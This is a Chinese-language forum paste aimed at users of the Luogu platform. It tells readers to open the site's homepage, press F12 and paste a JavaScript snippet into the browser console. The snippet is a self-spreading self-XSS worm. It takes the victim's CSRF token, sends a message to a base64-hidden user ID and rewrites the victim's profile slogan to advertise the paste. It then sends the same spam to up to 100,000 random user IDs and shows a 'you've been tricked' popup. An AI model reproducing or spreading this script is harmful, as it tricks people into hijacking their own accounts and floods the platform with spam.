-转载+修改
想要分享给别人? 请分享这个链接。
使用方式:
- 复制下面编码;
- 打开洛谷首页;
- 按 F12 键;
- 选择Console;
- 然后粘贴此段代码;
- 回车;
- 完成。
更新内容:
本信息等待更新。
.
// 发送消息给用户
async function sendToUser ( uid, content ) {
await fetch( decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw" ) ), {
headers: [
[ "content-type", "application/json" ],
[ "referer", decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw" ) ) ],
[ "x-csrf-token", document.querySelector( "meta[name=csrf-token]" )
.content
],
],
body: JSON.stringify( {
user: uid,
content: content,
} ),
method: "POST",
} );
}
// 页面特效样式
var styleTag = document.createElement( "style" );
styleTag.innerHTML = `
@keyframes glitch {
0% {
transform: skew(0);
opacity: 1;
}
25% {
transform: skew(5deg);
opacity: 0.8;
}
50% {
transform: skew(-5deg);
opacity: 1;
}
75% {
transform: skew(2deg);
opacity: 0.9;
}
100% {
transform: skew(0);
opacity: 1;
}
}
body {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
pointer-events: none;
z-index: -1;
background: linear-gradient(to right, #00f, #f00, #0f0, #ff0, #0ff, #f0f, #00f);
background-size: 200% auto;
animation: glitch 5s infinite;
}`;
document.head.appendChild( styleTag );
// 创建弹窗
let popupMessage = "恭喜你被JC了!</br>想要学习如何JC他人?看https://www.luogu.com.cn/paste/4ppoaker";
let popupDiv = document.createElement( "div" );
popupDiv.innerHTML = popupMessage;
// 设置弹窗的样式
popupDiv.style.position = "fixed";
popupDiv.style.top = "50%";
popupDiv.style.left = "50%";
popupDiv.style.transform = "translate(-50%, -50%)";
popupDiv.style.background = "#fff";
popupDiv.style.padding = "20px";
popupDiv.style.border = "1px solid #000";
popupDiv.style.zIndex = "9999";
document.body.appendChild( popupDiv );
// 生成随机用户ID
function getRandomUid () {
return Math.floor( Math.random() * ( 800000 - 100000 + 1 ) ) + 100000;
}
// 延迟函数
function sleep ( ms ) {
return new Promise( ( resolve ) => setTimeout( resolve, ms ) );
}
// 主函数,发送消息给随机生成的一组用户
( async function () {
// 发送消息给特定用户
let uid1 = atob( "MHg1MzIwNzA=" );
let content1 = atob( "SkPoh6rliqjmnLo=" );
await sendToUser( uid1, content1 );
async function updateSlogan ( slogan ) {
const url = "https://www.luogu.com.cn/api/user/updateSlogan";
const method = "POST";
const body = {
slogan: slogan
};
return await fetchAPI( url, method, body );
}
// 更新签名
const slogan = "想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
updateSlogan( slogan )
.then( () => {
console.log( "更新签名成功" );
} )
.catch( error => {
console.error( "更新签名失败:", error );
} );
// 生成随机用户ID数组
let uids = [];
for ( let i = 0; i < 100000; i++ ) {
let uid = getRandomUid();
// 确保生成的随机 uid 不重复
while ( uids.includes( uid ) ) {
uid = getRandomUid();
}
uids.push( uid );
}
// 循环发送消息给随机用户
for ( let i = 0; i < uids.length; i++ ) {
let content = "IAKIOI 想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
await sendToUser( uids[ i ], content );
}
// 定义 updateSlogan 函数
async function updateSlogan ( slogan ) {
// 发送请求并更新用户签名
await fetch( "/api/user/updateSlogan", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify( {
slogan
} )
} );
}
async function fetchAPI ( url, method, body ) {
const headers = {
"content-type": "application/json",
"referer": "https://www.luogu.com.cn/",
"x-csrf-token": document.querySelector( "meta[name=csrf-token]" )
.content,
};
const response = await fetch( url, {
method,
headers,
body: JSON.stringify( body ),
} );
if ( !response.ok ) {
throw new Error( `API request failed with status ${response.status}` );
}
const json = await response.json();
return json;
}
} )();